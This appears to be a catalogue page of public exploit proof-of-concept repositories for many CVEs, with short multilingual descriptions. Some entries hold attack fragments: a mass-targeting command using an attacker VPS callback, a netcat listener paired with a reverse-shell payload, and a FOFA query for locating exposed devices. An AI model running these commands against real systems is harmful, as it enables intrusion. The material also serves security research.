IngressNightmare-RCE-POC

⚠️ Critical RCE in Ingress-NGINX via Configuration Injection CVE-2025-1974 and more 此仓库包含针对 CVE-2025-1974 的概念验证（PoC）利用程序，这是 Kubernetes 的 Ingress-NGINX 控制器中的一个严重（CVSS 9.8 ）漏洞。该漏洞允许未经身份验证的攻击者通过使用 Validating Admission Controller 时不安全的配置注入实现远程代码执行。这是 2025 年 3 月 26 日披露并修复的五项漏洞中最严重的一个。 📌 影响： •...

EUVD-2026-71601

IBM Operational Decision Manager 9.6.0.0, 9.5.0.0, 8.11.1.0, 8.11.0.1, 8.12.0.1, 9.5.0.1, and 9.0.0.1 is vulnerable to SQL injection. An unauthenticated attacker can execute arbitrary SQL statements and leverage database functionality to write a web shell to the application web root, resulting in...

CVE-2026-18658

IBM Operational Decision Manager is vulnerable to SQL injection (CWE-89) in versions 9.6.0.0, 9.5.0.0, 8.11.1.0, 8.11.0.1, 8.12.0.1, 9.5.0.1, and 9.0.0.1 . An unauthenticated remote attacker can execute arbitrary SQL statements and leverage database functionality to write a web shell to the appli...

CVE-2024-7120-Exploit-by-Dark-07x

Raisecom デバイス コマンドインジェクション CVE-2024-7120 概念実証! 概要 RAISECOM ゲートウェイデバイスにおいて、コマンドインジェクションの脆弱性が確認されました。影響を受けるモデルは、MSG1200、MSG2100E、MSG2200、MSG2300 です。この脆弱性により、リモートの攻撃者が Web インターフェースを介してシステム上で任意のコマンドを実行できる可能性があります。問題は listbaseconfig.php スクリプトに存在し、特に template パラメータを介して発生します。インターネット上の 25,112...

ZimbraExploit

ZimbraExploit K8Cscan이 Zimbra8.8.11 원격 코드 실행 취약점을 호출하여 GetShell https://www.cnblogs.com/k8gege/p/10822908.html CVE-2019-9621 Zimbra8.8.11 XXE GetShell Exploit...

Writing-Sample-1

Log4j: CVE-2021-44228 Log4j 취약점 및 완화 조치 요약 목차 1. 요약 2. 취약한 엔드포인트 및 서비스 식별 3. 완화 조치 A. 경계Border에서 차단 B. 서버 엔드포인트에 엔드포인트 탐지 및 대응EDR 설치 C. 취약한 엔터프라이즈 애플리케이션을 F5 뒤에 배치 4. 리소스 및 추가 자료 요약 Log4j는 많은 Java 기반 애플리케이션에서 사용되는 로깅 도구입니다. 2021년 12월, Apache는 로깅 구성 파일을 수정할 권한이 있는 공격자가 악성 코드를 구성하고 실행할 수 있는 원격 코드...

CVE-2024-56145-craftcms-rce

스크립트를 다시 실행하기 전에 다음을 수행하세요: fuser -k 6666/tcp 사용법 - python3 poc.py -f targets.txt -i 127.0.0.1 -pr 4 -t 200 사용자 정의 명령어는 다음과 같이 사용할 수 있습니다: python3 poc.py -f targets.txt -i 127.0.0.1 -c "whoami" -i는 당신의 IP 또는 VPS IP입니다 ipconfig / ifconfig를 통해 확인. 예시: python3 poc.py -f targets.txt -i 165.22.104.140...

PSForgot2kEyXCHANGE

PSForgot2kEyXCHANGE 用于 Forgot2kEyXCHANGE CVE-2020-0688 的 PoC，使用 PowerShell 编写 用法 此 PoC 需要有效的用户名和密码。 此 PoC 使用 ysoserial.net 创建新的 ViewState，其中包含您通过 -Command 参数指定的命令。 如果您的系统上尚未安装此工具，请在此处下载。 root@kitploit: PS . .\PSForgot2kEyXCHANGE.ps1 PS Invoke-Forgot2kEyXCHANG -Server 'https://webmail.domain.tld'...

CVE-2024-21413

CVE-2024-21413 이 스크립트는 CVE-2024-21413의 개념 증명PoC입니다. 이 취약점은 Microsoft Windows Outlook에서 발견된 중요한 보안 취약점으로, CVSS 점수 9.8의 심각한 등급을 가지고 있습니다. MonikerLink 버그로 명명된 이 취약점은 공격자가 피해자의 머신에서 원격으로 임의 코드를 실행할 수 있게 하여 완전한 RCE가 됩니다...

CVE-2024-7120

Raisecom 기기 명령 주입 CVE-2024-7120 개념 증명! 개요 RAISECOM 게이트웨이 기기모델 MSG1200, MSG2100E, MSG2200, MSG2300에서 명령 주입 취약점이 확인되었습니다. 이 취약점으로 인해 원격 공격자가 웹 인터페이스를 통해 시스템에서 임의 명령을 실행할 수 있습니다. 문제는 listbaseconfig.php 스크립트, 특히 template 매개변수에 있으며, 인터넷 상의 25,112개 이상의 기기에 영향을 미칩니다. ✔ FOFA : title="web user login" &&...

CVE-2026-19298

IBM Langflow OSS versions 1.0.0 through 1.11.2 contain an authorization policy bypass in the authenticated flow-build endpoint . While the dedicated custom component API correctly enforces the LANGFLOW_CUSTOM_COMPONENT_ADMIN_ONLY=true control (returning HTTP 403 to non-superusers), the flow-build...

CVE-2017-5638

CVE-2017-5638 Apache Struts 2.3.5 예시:...

goahead-webserver-pre-5.1.5-RCE-PoC-CVE-2021-42342-

Goahead 웹서버 v5.1.5 미만 RCE PoC CVE-2021-42342 Goahead Webserver의 최근 버그가 William Bowling에 의해 발견되었으며, 이로 인해 공격받은 서버에서 RCE가 발생합니다. 이 문제는 5.1.5 미만 버전에 존재하며, Shodan에 따르면 약 280만 개의 인터넷 서버가 이에 해당합니다. 현재 CVE도 공개되었습니다 https://nvd.nist.gov/vuln/detail/CVE-2021-42342 RCE의 원인은 파일 업로드 필터가 활성화된 경우 사용자가 파일을 업로드함...

CVE-2018-2893

CVE-2018-2893 Weblogic CVE-2018-2893 즐기기 테스트 환경-Docker Docker는 여기 있습니다! https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2018-2628/README.md Ps: 외부 네트워크에는 RMI 원격 서버가 있어서 셸을 얻기 매우 편리합니다. 내부 네트워크라면 자신의 RMI 서버를 지정해야 합니다. 그렇지 않으면 리버스 셸을 획득할 수 없습니다!!! 0x01 generate-payload 0x02 send-payload...

CVE-2025-7401

CVE-2025-7401 Premium Age Verification / Restriction for WordPress ' 🧭 명령줄 옵션 📋 스크립트 상세 동작단계별 📌 예상 출력 및 의미 🛡️ 완화 및 권장 사항 플러그인을 공급업체가 제공하는 패치 버전으로 즉시 업그레이드하십시오. 인증 및 적절한 권한 검사를 통해 원격 지원 기능에 대한 접근을 제한하십시오. 사용자가 제공한 모든 파일 경로와 파일 내용을 서버 측에서 삭제sanitize하고 검증하십시오. 웹 사용자가 웹 루트에 실행 가능한 파일을 생성하지 못하도록 엄격한 파일...

react2shell-evolved

React2Shell Scanner RSC/Next.js RCE를 위한 고충실도 탐지 React Server Components 및 Next.js 애플리케이션에서 RCERemote Code Execution 취약점을 탐지하기 위한 스캐너입니다. 개요 React2Shell Scanner는 RSCReact Server Components 및 Next.js를 사용하는 애플리케이션에서 RCE원격 코드 실행 취약점을 식별하기 위한 특수 도구입니다. 이 도구는 다음 CVE와 관련된 취약점을 탐지합니다: CVE-2025-55182...

CVE-2024-47533-Cobbler-XMLRPC-Authentication-Bypass-RCE-Exploit-POC

CVE-2024-47533 - Cobbler XMLRPC 認証バイパス RCE エクスプロイト ⚠️ Cobbler における認証バイパスを利用した重大なリモートコード実行 🛠️ @dollarboysushil による PoC 実装 💡 概要 Cobbler はネットワークインストール環境の迅速なセットアップを可能にする Linux インストールサーバーであり、バージョン 3.0.0 から 3.2.3 未満および 3.3.7 未満に認証の脆弱性があります。関数 utils.getsharedsecret は常に -1 を返すため、誰でも空のユーザー名 '' とパスワード -1 で...

CVE-2024-4040

CVE-2024-4040 CVE-2024-4040은 CrushFTP 10.7.1 및 11.1.0 이전의 모든 버전에서 발견된 서버 측 템플릿 인젝션 취약점으로, 모든 플랫폼에서 인증되지 않은 원격 공격자가 VFS 샌드박스 외부의 파일 시스템에서 파일을 읽고, 인증을 우회하여 관리자 권한을 획득하며, 서버에서 원격 코드 실행을 수행할 수 있습니다. 설치 git clone https://github.com/gotr00t0day/CVE-2024-4040.git cd CVE-2024-4040 pip3 instrall -r...

FUDforum-XSS-RCE

FUDforum-XSS-RCE FUDForum 3.0.9 - XSS / 원격 코드 실행 CVE-2019-18873, CVE-2019-18839 FUDforum 3.0.9에서 여러 저장형 XSS 취약점이 발견되었으며, 이는 원격 코드 실행으로 이어질 수 있습니다. 포럼의 사용자명을 통한 저장형 XSS: 정보 | 데모 관리자 패널의 User-Agent를 통한 저장형 XSS: 정보 | 데모...

CVE-2018-11776

CVE-2018-11776 CVE-2018-11776 / S2-057 환경 데모 서버 실행 root@kitploit: $ docker run -d --hostname struts2 --name cve-2018-11776 -p 30080:8080 knqyf263/cve-2018-11776 익스플로잇 root@kitploit: $ nc -l 10000 or nc -lp 10000 root@kitploit: $ python3 exploit.py localhost:30080 'bash -i &...